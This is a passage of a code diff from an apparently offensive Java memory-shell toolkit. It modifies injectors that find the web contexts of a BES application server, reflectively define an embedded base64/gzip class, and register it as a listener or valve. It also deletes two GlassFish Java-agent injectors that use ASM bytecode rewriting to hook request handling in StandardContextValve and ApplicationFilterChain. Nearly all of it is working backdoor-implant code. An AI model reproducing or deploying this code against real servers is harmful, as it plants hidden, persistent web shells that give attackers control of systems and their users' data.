import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -14,6 +15,9 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class BesListenerInjector {
|
public class BesListenerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
@@ -23,19 +27,52 @@ public class BesListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public BesListenerInjector() {
|
public BesListenerInjector() {
|
||||||
try {
|
if (ok) {
|
||||||
List<Object> contexts = getContext();
|
return;
|
||||||
for (Object context : contexts) {
|
|
||||||
Object listener = getShell(context);
|
|
||||||
inject(context, listener);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
@SuppressWarnings("all")
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) getFieldValue(context, "encodedPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -45,6 +82,16 @@ public class BesListenerInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
@@ -62,15 +109,17 @@ public class BesListenerInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -78,7 +127,6 @@ public class BesListenerInjector {
|
|||||||
Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
|
Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
|
||||||
for (Object eventListener : eventListeners) {
|
for (Object eventListener : eventListeners) {
|
||||||
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||||
System.out.println("listener already exists");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -86,7 +134,11 @@ public class BesListenerInjector {
|
|||||||
newListeners.add(listener);
|
newListeners.add(listener);
|
||||||
newListeners.addAll(Arrays.asList(eventListeners));
|
newListeners.addAll(Arrays.asList(eventListeners));
|
||||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
|
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
|
||||||
System.out.println("listener added successfully");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -135,7 +187,7 @@ public class BesListenerInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -163,4 +215,19 @@ public class BesListenerInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+93
-42
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class BesValveInjector {
|
public class BesValveInjector {
|
||||||
|
|
||||||
public BesValveInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object valve = getShell(context);
|
|
||||||
inject(context, valve);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -33,8 +25,53 @@ public class BesValveInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public BesValveInjector() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) getFieldValue(context, "encodedPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -44,58 +81,57 @@ public class BesValveInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
|
||||||
try {
|
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
|
||||||
} catch (Exception e) {
|
|
||||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
|
||||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
}
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
@SuppressWarnings("all")
|
|
||||||
public boolean isInjected(Object pipeline) throws Exception {
|
|
||||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
|
||||||
List<Object> valvesList = Arrays.asList(valves);
|
|
||||||
for (Object valve : valvesList) {
|
|
||||||
if (valve.getClass().getName().contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public void inject(Object context, Object valve) throws Exception {
|
public void inject(Object context, Object valve) throws Exception {
|
||||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||||
if (isInjected(pipeline)) {
|
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||||
System.out.println("valve already injected");
|
List<Object> valvesList = Arrays.asList(valves);
|
||||||
return;
|
for (Object v : valvesList) {
|
||||||
|
if (v.getClass().getName().contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
|
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
|
||||||
// com.bes.enterprise.webtier.core.DefaultPipeline
|
// com.bes.enterprise.webtier.core.DefaultPipeline
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
Class<?> decoderClass;
|
Class<?> decoderClass;
|
||||||
@@ -142,7 +178,7 @@ public class BesValveInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -170,4 +206,19 @@ public class BesValveInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
-219
@@ -1,219 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getBase64String() {
|
|
||||||
return "{{base64String}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
defineTargetClass(loader);
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
|
||||||
private final Type[] argumentTypes;
|
|
||||||
private final String className;
|
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.argumentTypes = argTypes;
|
|
||||||
this.className = className;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitCode() {
|
|
||||||
loadArgArray();
|
|
||||||
Label tryStart = new Label();
|
|
||||||
Label tryEnd = new Label();
|
|
||||||
Label catchHandler = new Label();
|
|
||||||
Label ifConditionFalse = new Label();
|
|
||||||
Label skipCatchBlock = new Label();
|
|
||||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
|
||||||
|
|
||||||
mv.visitLabel(tryStart);
|
|
||||||
String internalClassName = className.replace('.', '/');
|
|
||||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
|
||||||
mv.visitInsn(Opcodes.SWAP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
|
||||||
"java/lang/Object",
|
|
||||||
"equals",
|
|
||||||
"(Ljava/lang/Object;)Z",
|
|
||||||
false);
|
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
|
||||||
mv.visitLabel(ifConditionFalse);
|
|
||||||
mv.visitLabel(tryEnd);
|
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
|
||||||
mv.visitLabel(catchHandler);
|
|
||||||
mv.visitInsn(Opcodes.POP);
|
|
||||||
mv.visitLabel(skipCatchBlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadArgArray() {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
|
||||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
|
||||||
for (int i = 0; i < argumentTypes.length; i++) {
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
push(i);
|
|
||||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
|
||||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void push(final int value) {
|
|
||||||
if (value >= -1 && value <= 5) {
|
|
||||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
|
||||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
|
||||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
|
||||||
} else {
|
|
||||||
mv.visitLdcInsn(new Integer(value));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private int getArgIndex(final int arg) {
|
|
||||||
int index = 1;
|
|
||||||
for (int i = 0; i < arg; i++) {
|
|
||||||
index += argumentTypes[i].getSize();
|
|
||||||
}
|
|
||||||
return index;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
} finally {
|
|
||||||
try {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
|
||||||
try {
|
|
||||||
loader.loadClass(getClassName());
|
|
||||||
return;
|
|
||||||
} catch (ClassNotFoundException ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-219
@@ -1,219 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getBase64String() {
|
|
||||||
return "{{base64String}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
defineTargetClass(loader);
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
